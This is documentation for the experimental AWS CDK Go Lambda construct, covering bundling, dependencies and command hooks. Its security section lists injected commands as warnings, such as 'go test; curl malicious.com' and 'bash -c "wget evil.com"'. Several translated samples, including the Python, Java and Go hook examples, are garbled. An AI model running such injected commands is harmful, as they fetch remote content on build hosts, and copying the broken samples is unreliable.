Skip to content
v2.273.0

Amazon Lambda Golang Library ​

Version 2.273.0-alpha.0

Separate package

@aws-cdk/aws-lambda-go-alpha is not part of aws-cdk-lib — install it separately:

sh
npm install @aws-cdk/aws-lambda-go-alpha
pip install aws-cdk.aws-lambda-go-alpha

This module is experimental (alpha): its API may change in any release, without a major version bump.


cdk-constructs: Experimental

The APIs of higher level constructs in this module are experimental and under active development. They are subject to non-backward compatible changes or removal in any future version. These are not subject to the Semantic Versioning model and breaking changes will be announced in the release notes. This means that while you may use them, you may need to update your source code when upgrading to a newer version of this package.


This library provides constructs for Golang Lambda functions.

To use this module you will either need to have Go installed (go1.11 or later) or Docker installed. See Local Bundling/Docker Bundling for more information.

This module also requires that your Golang application is using a Go version >= 1.11 and is using Go modules.

Go Function ​

Define a GoFunction:

ts
new go.GoFunction(this, 'handler', {
  entry: 'lambda-app/cmd/api',
});
python
go.GoFunction(self, "handler",
    entry="lambda-app/cmd/api"
)
java
GoFunction.Builder.create(this, "handler")
        .entry("lambda-app/cmd/api")
        .build();
csharp
new GoFunction(this, "handler", new GoFunctionProps {
    Entry = "lambda-app/cmd/api"
});
go
go.NewGoFunction(this, jsii.String("handler"), &GoFunctionProps{
	Entry: jsii.String("lambda-app/cmd/api"),
})

By default, if entry points to a directory, then the construct will assume there is a Go entry file (i.e. main.go). Let's look at an example Go project:

bash
lambda-app
├── cmd
│   └── api
│       └── main.go
├── go.mod
├── go.sum
├── pkg
│   ├── auth
│   │   └── auth.go
│   └── middleware
│       └── middleware.go
└── vendor
    ├── github.com
    │   └── aws
    │       └── aws-lambda-go
    └── modules.txt

With the above layout I could either provide the entry as lambda-app/cmd/api or lambda-app/cmd/api/main.go, either will work. When the construct builds the golang binary this will be translated go build ./cmd/api & go build ./cmd/api/main.go respectively. The construct will figure out where it needs to run the go build command from, in this example it would be from the lambda-app directory. It does this by determining the mod file path, which is explained in the next section.

mod file path ​

The GoFunction tries to automatically determine your project root, that is the root of your golang project. This is usually where the top level go.mod file or vendor folder of your project is located. When bundling in a Docker container, the moduleDir is used as the source (/asset-input) for the volume mounted in the container.

The CDK will walk up parent folders starting from the current working directory until it finds a folder containing a go.mod file.

Alternatively, you can specify the moduleDir prop manually. In this case you need to ensure that this path includes entry and any module/dependencies used by your function. Otherwise bundling will fail.

Runtime ​

The GoFunction can be used with either the GO_1_X runtime or the provided runtimes (PROVIDED/PROVIDED_AL2). By default it will use the PROVIDED_AL2 runtime. The GO_1_X runtime does not support things like Lambda Extensions, whereas the provided runtimes do. The aws-lambda-go library has built in support for the provided runtime as long as you name the handler bootstrap (which we do by default).

Dependencies ​

The construct will attempt to figure out how to handle the dependencies for your function. It will do this by determining whether or not you are vendoring your dependencies. It makes this determination by looking to see if there is a vendor folder at the mod file path.

With this information the construct can determine what commands to run. You will generally fall into two scenarios:

  1. You are using vendoring (indicated by the presence of a vendor folder) In this case go build will be run with -mod=vendor set
  2. You are not using vendoring (indicated by the absence of a vendor folder) If you are not vendoring then go build will be run without -mod=vendor since the default behavior is to download dependencies

All other properties of lambda.Function are supported, see also the AWS Lambda construct library.

Environment ​

By default the following environment variables are set for you:

  • GOOS=linux
  • GOARCH: based on the target architecture of the Lambda function
  • GO111MODULE=on

Use the environment prop to define additional environment variables when go runs:

ts
new go.GoFunction(this, 'handler', {
  entry: 'app/cmd/api',
  bundling: {
    environment: {
      HELLO: 'WORLD',
    },
  },
});
python
go.GoFunction(self, "handler",
    entry="app/cmd/api",
    bundling=go.BundlingOptions(
        environment={
            "HELLO": "WORLD"
        }
    )
)
java
GoFunction.Builder.create(this, "handler")
        .entry("app/cmd/api")
        .bundling(BundlingOptions.builder()
                .environment(Map.of(
                        "HELLO", "WORLD"))
                .build())
        .build();
csharp
new GoFunction(this, "handler", new GoFunctionProps {
    Entry = "app/cmd/api",
    Bundling = new BundlingOptions {
        Environment = new Dictionary<string, string> {
            { "HELLO", "WORLD" }
        }
    }
});
go
go.NewGoFunction(this, jsii.String("handler"), &GoFunctionProps{
	Entry: jsii.String("app/cmd/api"),
	Bundling: &BundlingOptions{
		Environment: map[string]*string{
			"HELLO": jsii.String("WORLD"),
		},
	},
})

Local Bundling ​

If Go is installed locally and the version is >= go1.11 then it will be used to bundle your code in your environment. Otherwise, bundling will happen in a Lambda compatible Docker container with the Docker platform based on the target architecture of the Lambda function.

For macOS the recommended approach is to install Go as Docker volume performance is really poor.

Go can be installed by following the installation docs.

Docker ​

To force bundling in a docker container even if Go is available in your environment, set the forceDockerBundling prop to true. This is useful if you want to make sure that your function is built in a consistent Lambda compatible environment.

Use the buildArgs prop to pass build arguments when building the bundling image:

ts
new go.GoFunction(this, 'handler', {
  entry: 'app/cmd/api',
  bundling: {
    buildArgs: {
      HTTPS_PROXY: 'https://127.0.0.1:3001',
    },
  },
});
python
go.GoFunction(self, "handler",
    entry="app/cmd/api",
    bundling=go.BundlingOptions(
        build_args={
            "HTTPS_PROXY": "https://127.0.0.1:3001"
        }
    )
)
java
GoFunction.Builder.create(this, "handler")
        .entry("app/cmd/api")
        .bundling(BundlingOptions.builder()
                .buildArgs(Map.of(
                        "HTTPS_PROXY", "https://127.0.0.1:3001"))
                .build())
        .build();
csharp
new GoFunction(this, "handler", new GoFunctionProps {
    Entry = "app/cmd/api",
    Bundling = new BundlingOptions {
        BuildArgs = new Dictionary<string, string> {
            { "HTTPS_PROXY", "https://127.0.0.1:3001" }
        }
    }
});
go
go.NewGoFunction(this, jsii.String("handler"), &GoFunctionProps{
	Entry: jsii.String("app/cmd/api"),
	Bundling: &BundlingOptions{
		BuildArgs: map[string]*string{
			"HTTPS_PROXY": jsii.String("https://127.0.0.1:3001"),
		},
	},
})

Use the bundling.dockerImage prop to use a custom bundling image:

ts
new go.GoFunction(this, 'handler', {
  entry: 'app/cmd/api',
  bundling: {
    dockerImage: DockerImage.fromBuild('/path/to/Dockerfile'),
  },
});
python
go.GoFunction(self, "handler",
    entry="app/cmd/api",
    bundling=go.BundlingOptions(
        docker_image=DockerImage.from_build("/path/to/Dockerfile")
    )
)
java
GoFunction.Builder.create(this, "handler")
        .entry("app/cmd/api")
        .bundling(BundlingOptions.builder()
                .dockerImage(DockerImage.fromBuild("/path/to/Dockerfile"))
                .build())
        .build();
csharp
new GoFunction(this, "handler", new GoFunctionProps {
    Entry = "app/cmd/api",
    Bundling = new BundlingOptions {
        DockerImage = DockerImage.FromBuild("/path/to/Dockerfile")
    }
});
go
go.NewGoFunction(this, jsii.String("handler"), &GoFunctionProps{
	Entry: jsii.String("app/cmd/api"),
	Bundling: &BundlingOptions{
		DockerImage: awscdk.DockerImage_FromBuild(jsii.String("/path/to/Dockerfile")),
	},
})

Use the bundling.goBuildFlags prop to pass additional build flags to go build:

ts
new go.GoFunction(this, 'handler', {
  entry: 'app/cmd/api',
  bundling: {
    goBuildFlags: ['-ldflags "-s -w"'],
  },
});
python
go.GoFunction(self, "handler",
    entry="app/cmd/api",
    bundling=go.BundlingOptions(
        go_build_flags=["-ldflags \"-s -w\""]
    )
)
java
GoFunction.Builder.create(this, "handler")
        .entry("app/cmd/api")
        .bundling(BundlingOptions.builder()
                .goBuildFlags(List.of("-ldflags \"-s -w\""))
                .build())
        .build();
csharp
new GoFunction(this, "handler", new GoFunctionProps {
    Entry = "app/cmd/api",
    Bundling = new BundlingOptions {
        GoBuildFlags = new [] { "-ldflags \"-s -w\"" }
    }
});
go
go.NewGoFunction(this, jsii.String("handler"), &GoFunctionProps{
	Entry: jsii.String("app/cmd/api"),
	Bundling: &BundlingOptions{
		GoBuildFlags: []*string{
			jsii.String("-ldflags \"-s -w\""),
		},
	},
})

⚠️ Security Warning: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like -toolexec with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when goBuildFlags is used.

By default this construct doesn't use any Go module proxies. This is contrary to a standard Go installation, which would use the Google proxy by default. To recreate that behavior, do the following:

ts
new go.GoFunction(this, 'GoFunction', {
  entry: 'app/cmd/api',
  bundling: {
    goProxies: [go.GoFunction.GOOGLE_GOPROXY, 'direct'],
  },
});
python
go.GoFunction(self, "GoFunction",
    entry="app/cmd/api",
    bundling=go.BundlingOptions(
        go_proxies=[go.GoFunction.GOOGLE_GOPROXY, "direct"]
    )
)
java
GoFunction.Builder.create(this, "GoFunction")
        .entry("app/cmd/api")
        .bundling(BundlingOptions.builder()
                .goProxies(List.of(GoFunction.GOOGLE_GOPROXY, "direct"))
                .build())
        .build();
csharp
new GoFunction(this, "GoFunction", new GoFunctionProps {
    Entry = "app/cmd/api",
    Bundling = new BundlingOptions {
        GoProxies = new [] { GoFunction.GOOGLE_GOPROXY, "direct" }
    }
});
go
go.NewGoFunction(this, jsii.String("GoFunction"), &GoFunctionProps{
	Entry: jsii.String("app/cmd/api"),
	Bundling: &BundlingOptions{
		GoProxies: []*string{
			go.GoFunction_GOOGLE_GOPROXY(),
			jsii.String("direct"),
		},
	},
})

You can set additional Docker options to configure the build environment:

ts
new go.GoFunction(this, 'GoFunction', {
 entry: 'app/cmd/api',
 bundling: {
     network: 'host',
     securityOpt: 'no-new-privileges',
     user: 'user:group',
     volumesFrom: ['777f7dc92da7'],
     volumes: [{ hostPath: '/host-path', containerPath: '/container-path' }],
  },
});

Command hooks ​

It is possible to run additional commands by specifying the commandHooks prop:

ts
// Run additional commands on a GoFunction via `commandHooks` property
new go.GoFunction(this, 'handler', {
  entry: 'cmd/api',
  bundling: {
    commandHooks: {
      // run tests
      beforeBundling(inputDir: string): string[] {
        return ['go test ./cmd/api -v'];
      },
      afterBundling(inputDir: string, outputDir: string): string[] {
        return ['echo "Build complete"'];
      },
    },
  },
});
python
# Run additional commands on a GoFunction via `commandHooks` property
go.GoFunction(self, "handler",
    entry="cmd/api",
    bundling=go.BundlingOptions(
        command_hooks={
            # run tests
            def before_bundling(self, input_dir):
                return ["go test ./cmd/api -v"],
            def after_bundling(self, input_dir, output_dir):
                return ["echo \"Build complete\""]
        }
    )
)
java
// Run additional commands on a GoFunction via `commandHooks` property
// Run additional commands on a GoFunction via `commandHooks` property
GoFunction.Builder.create(this, "handler")
        .entry("cmd/api")
        .bundling(BundlingOptions.builder()
                .commandHooks(Map.of(
                        // run tests
                        public String[] beforeBundling(String inputDir) {
                            return List.of("go test ./cmd/api -v");
                        },
                        public String[] afterBundling(String inputDir, String outputDir) {
                            return List.of("echo \"Build complete\"");
                        }))
                .build())
        .build();
csharp
// Run additional commands on a GoFunction via `commandHooks` property
// Run additional commands on a GoFunction via `commandHooks` property
new GoFunction(this, "handler", new GoFunctionProps {
    Entry = "cmd/api",
    Bundling = new BundlingOptions {
        CommandHooks = new Dictionary<string, object> {
            // run tests
            public string[] BeforeBundling(string inputDir)
            {
                return new [] { "go test ./cmd/api -v" };
            },
            public string[] AfterBundling(string inputDir, string outputDir)
            {
                return new [] { "echo \"Build complete\"" };
            }
        }
    }
});
go
// Run additional commands on a GoFunction via `commandHooks` property
// Run additional commands on a GoFunction via `commandHooks` property
go.NewGoFunction(this, jsii.String("handler"), &GoFunctionProps{
	Entry: jsii.String("cmd/api"),
	Bundling: &BundlingOptions{
		CommandHooks: map[string]interface{}{
			// run tests
			(MethodDeclaration beforeBundling(inputDir: string): string[] {
			        return ['go test ./cmd/api -v'];
			      }
					beforeBundling
					inputDir *string
					string[]
					{
						return []*string{
							jsii.String("go test ./cmd/api -v"),
						}
					}),
			(MethodDeclaration afterBundling(inputDir: string, outputDir: string): string[] {
			        return ['echo "Build complete"'];
			      }
					afterBundling
					inputDir *string
					outputDir *string
					string[]
					{
						return []*string{
							jsii.String("echo \"Build complete\""),
						}
					}),
		},
	},
})

The following hooks are available:

  • beforeBundling: runs before all bundling commands
  • afterBundling: runs after all bundling commands

They all receive the directory containing the go.mod file (inputDir) and the directory where the bundled asset will be output (outputDir). They must return an array of commands to run. Commands are chained with &&.

The commands will run in the environment in which bundling occurs: inside the container for Docker bundling or on the host OS for local bundling.

⚠️ Security Considerations ​

Command hooks execute arbitrary shell commands during the bundling process. Only use trusted commands:

Safe patterns (cross-platform):

ts
new go.GoFunction(this, 'SafeFunction', {
  entry: 'cmd/api',
  bundling: {
    commandHooks: {
      beforeBundling: () => [
        'go test ./...',           // ✅ Standard Go commands work on all OS
        'go mod tidy',             // ✅ Go module commands
        'make clean',              // ✅ Build tools (if available)
        'echo "Building app"',     // ✅ Simple output with quotes
      ],
      afterBundling: () => ['echo "Build complete"'],
    },
  },
});
python
go.GoFunction(self, "SafeFunction",
    entry="cmd/api",
    bundling=go.BundlingOptions(
        command_hooks={
            "before_bundling": () => [
                    'go test ./...',           // ✅ Standard Go commands work on all OS
                    'go mod tidy',             // ✅ Go module commands
                    'make clean',              // ✅ Build tools (if available)
                    'echo "Building app"',     // ✅ Simple output with quotes
                  ],
            "after_bundling": () => ['echo "Build complete"']
        }
    )
)
java
GoFunction.Builder.create(this, "SafeFunction")
        .entry("cmd/api")
        .bundling(BundlingOptions.builder()
                .commandHooks(Map.of(
                        "beforeBundling", () => [
                                'go test ./...',           // ✅ Standard Go commands work on all OS
                                'go mod tidy',             // ✅ Go module commands
                                'make clean',              // ✅ Build tools (if available)
                                'echo "Building app"',     // ✅ Simple output with quotes
                              ],
                        "afterBundling", () => ['echo "Build complete"']))
                .build())
        .build();
csharp
new GoFunction(this, "SafeFunction", new GoFunctionProps {
    Entry = "cmd/api",
    Bundling = new BundlingOptions {
        CommandHooks = new Dictionary<string, object> {
            { "beforeBundling", () => [
                    'go test ./...',           // ✅ Standard Go commands work on all OS
                    'go mod tidy',             // ✅ Go module commands
                    'make clean',              // ✅ Build tools (if available)
                    'echo "Building app"',     // ✅ Simple output with quotes
                  ] },
            { "afterBundling", () => ['echo "Build complete"'] }
        }
    }
});
go
go.NewGoFunction(this, jsii.String("SafeFunction"), &GoFunctionProps{
	Entry: jsii.String("cmd/api"),
	Bundling: &BundlingOptions{
		CommandHooks: map[string]interface{}{
			"beforeBundling": () => [
			        'go test ./...',           // ✅ Standard Go commands work on all OS
			        'go mod tidy',             // ✅ Go module commands
			        'make clean',              // ✅ Build tools (if available)
			        'echo "Building app"',     // ✅ Simple output with quotes
			      ],
			"afterBundling": () => ['echo "Build complete"'],
		},
	},
})

Dangerous patterns to avoid:

Windows-specific dangers:

ts
// ❌ Windows-specific dangers
new go.GoFunction(this, 'UnsafeWindowsFunction', {
  entry: 'cmd/api',
  bundling: {
    commandHooks: {
      beforeBundling: () => [
        'go test & curl.exe malicious.com',     // ❌ Command chaining with &
        'echo %USERPROFILE%',                   // ❌ Environment variable expansion
        'powershell -Command "..."',            // ❌ PowerShell execution
      ],
      afterBundling: () => [],
    },
  },
});
python
# ❌ Windows-specific dangers
go.GoFunction(self, "UnsafeWindowsFunction",
    entry="cmd/api",
    bundling=go.BundlingOptions(
        command_hooks={
            "before_bundling": () => [
                    'go test & curl.exe malicious.com',     // ❌ Command chaining with &
                    'echo %USERPROFILE%',                   // ❌ Environment variable expansion
                    'powershell -Command "..."',            // ❌ PowerShell execution
                  ],
            "after_bundling": () => []
        }
    )
)
java
// ❌ Windows-specific dangers
// ❌ Windows-specific dangers
GoFunction.Builder.create(this, "UnsafeWindowsFunction")
        .entry("cmd/api")
        .bundling(BundlingOptions.builder()
                .commandHooks(Map.of(
                        "beforeBundling", () => [
                                'go test & curl.exe malicious.com',     // ❌ Command chaining with &
                                'echo %USERPROFILE%',                   // ❌ Environment variable expansion
                                'powershell -Command "..."',            // ❌ PowerShell execution
                              ],
                        "afterBundling", () => []))
                .build())
        .build();
csharp
// ❌ Windows-specific dangers
// ❌ Windows-specific dangers
new GoFunction(this, "UnsafeWindowsFunction", new GoFunctionProps {
    Entry = "cmd/api",
    Bundling = new BundlingOptions {
        CommandHooks = new Dictionary<string, object> {
            { "beforeBundling", () => [
                    'go test & curl.exe malicious.com',     // ❌ Command chaining with &
                    'echo %USERPROFILE%',                   // ❌ Environment variable expansion
                    'powershell -Command "..."',            // ❌ PowerShell execution
                  ] },
            { "afterBundling", () => [] }
        }
    }
});
go
// ❌ Windows-specific dangers
// ❌ Windows-specific dangers
go.NewGoFunction(this, jsii.String("UnsafeWindowsFunction"), &GoFunctionProps{
	Entry: jsii.String("cmd/api"),
	Bundling: &BundlingOptions{
		CommandHooks: map[string]interface{}{
			"beforeBundling": () => [
			        'go test & curl.exe malicious.com',     // ❌ Command chaining with &
			        'echo %USERPROFILE%',                   // ❌ Environment variable expansion
			        'powershell -Command "..."',            // ❌ PowerShell execution
			      ],
			"afterBundling": () => [],
		},
	},
})

Unix/Linux/macOS dangers:

ts
// ❌ Unix/Linux/macOS dangers
new go.GoFunction(this, 'UnsafeUnixFunction', {
  entry: 'cmd/api',
  bundling: {
    commandHooks: {
      beforeBundling: () => [
        'go test; curl malicious.com',          // ❌ Command chaining with ;
        'echo $(whoami)',                       // ❌ Command substitution
        'bash -c "wget evil.com"',              // ❌ Shell execution
      ],
      afterBundling: () => [],
    },
  },
});
python
# ❌ Unix/Linux/macOS dangers
go.GoFunction(self, "UnsafeUnixFunction",
    entry="cmd/api",
    bundling=go.BundlingOptions(
        command_hooks={
            "before_bundling": () => [
                    'go test; curl malicious.com',          // ❌ Command chaining with ;
                    'echo $(whoami)',                       // ❌ Command substitution
                    'bash -c "wget evil.com"',              // ❌ Shell execution
                  ],
            "after_bundling": () => []
        }
    )
)
java
// ❌ Unix/Linux/macOS dangers
// ❌ Unix/Linux/macOS dangers
GoFunction.Builder.create(this, "UnsafeUnixFunction")
        .entry("cmd/api")
        .bundling(BundlingOptions.builder()
                .commandHooks(Map.of(
                        "beforeBundling", () => [
                                'go test; curl malicious.com',          // ❌ Command chaining with ;
                                'echo $(whoami)',                       // ❌ Command substitution
                                'bash -c "wget evil.com"',              // ❌ Shell execution
                              ],
                        "afterBundling", () => []))
                .build())
        .build();
csharp
// ❌ Unix/Linux/macOS dangers
// ❌ Unix/Linux/macOS dangers
new GoFunction(this, "UnsafeUnixFunction", new GoFunctionProps {
    Entry = "cmd/api",
    Bundling = new BundlingOptions {
        CommandHooks = new Dictionary<string, object> {
            { "beforeBundling", () => [
                    'go test; curl malicious.com',          // ❌ Command chaining with ;
                    'echo $(whoami)',                       // ❌ Command substitution
                    'bash -c "wget evil.com"',              // ❌ Shell execution
                  ] },
            { "afterBundling", () => [] }
        }
    }
});
go
// ❌ Unix/Linux/macOS dangers
// ❌ Unix/Linux/macOS dangers
go.NewGoFunction(this, jsii.String("UnsafeUnixFunction"), &GoFunctionProps{
	Entry: jsii.String("cmd/api"),
	Bundling: &BundlingOptions{
		CommandHooks: map[string]interface{}{
			"beforeBundling": () => [
			        'go test; curl malicious.com',          // ❌ Command chaining with ;
			        'echo $(whoami)',                       // ❌ Command substitution
			        'bash -c "wget evil.com"',              // ❌ Shell execution
			      ],
			"afterBundling": () => [],
		},
	},
})

When using third-party constructs that include GoFunction:

  • Review the construct's source code before use
  • Verify what commands it executes via commandHooks and goBuildFlags
  • Only use constructs from trusted publishers
  • Test in isolated environments first

The GoFunction construct will display CDK warnings during synthesis when potentially unsafe commandHooks or goBuildFlags are detected.

For more security guidance, see AWS CDK Security Best Practices.

Security Best Practices ​

Third-Party Construct Safety ​

When using third-party CDK constructs that utilize GoFunction, exercise caution:

  1. Review source code - Inspect the construct implementation for commandHooks and goBuildFlags usage
  2. Verify publishers - Use constructs only from trusted, verified sources
  3. Pin versions - Use exact versions to prevent supply chain attacks
  4. Isolated testing - Test third-party constructs in sandboxed environments

Before using any third-party construct:

  • Review the construct's source code on GitHub or npm
  • Search for commandHooks and goBuildFlags usage in the code
  • Verify no dangerous command patterns are present
  • Use exact version pinning to prevent supply chain attacks

The GoFunction construct will display CDK warnings during synthesis when potentially unsafe commandHooks or goBuildFlags are detected.

Additional considerations ​

Depending on how you structure your Golang application, you may want to change the assetHashType parameter. By default this parameter is set to AssetHashType.OUTPUT which means that the CDK will calculate the asset hash (and determine whether or not your code has changed) based on the Golang executable that is created.

If you specify AssetHashType.SOURCE, the CDK will calculate the asset hash by looking at the folder that contains your go.mod file. If you are deploying a single Lambda function, or you want to redeploy all of your functions if anything changes, then AssetHashType.SOURCE will probably work.

For example, if my app looked like this:

bash
lambda-app
├── cmd
│   └── api
│       └── main.go
├── go.mod
├── go.sum
└── pkg
    └── auth
        └── auth.go

With this structure I would provide the entry as cmd/api which means that the CDK will determine that the protect root is lambda-app (it contains the go.mod file). Since I only have a single Lambda function, and any update to files within the lambda-app directory should trigger a new deploy, I could specify AssetHashType.SOURCE.

On the other hand, if I had a project that deployed multiple Lambda functions, for example:

bash
lambda-app
├── cmd
│   ├── api
│   │   └── main.go
│   └── anotherApi
│       └── main.go
├── go.mod
├── go.sum
└── pkg
    ├── auth
    │   └── auth.go
    └── middleware
        └── middleware.go

Then I would most likely want AssetHashType.OUTPUT. With OUTPUT the CDK will only recognize changes if the Golang executable has changed, and Go only includes dependencies that are used in the executable. So in this case if cmd/api used the auth & middleware packages, but cmd/anotherApi did not, then an update to auth or middleware would only trigger an update to the cmd/api Lambda Function.

Docker based bundling in complex Docker configurations ​

By default the input and output of Docker based bundling is handled via bind mounts. In situtations where this does not work, like Docker-in-Docker setups or when using a remote Docker socket, you can configure an alternative, but slower, variant that also works in these situations.

ts
new go.GoFunction(this, 'GoFunction', {
 entry: 'app/cmd/api',
 bundling: {
      bundlingFileAccess: BundlingFileAccess.VOLUME_COPY,
  },
});

Types ​

NameKindSummary
GoFunctionConstruct (L2)A Golang Lambda function.
BundlingOptionsStructBundling options.
GoFunctionPropsStructProperties for a GolangFunction.
ICommandHooksInterfaceCommand hooks.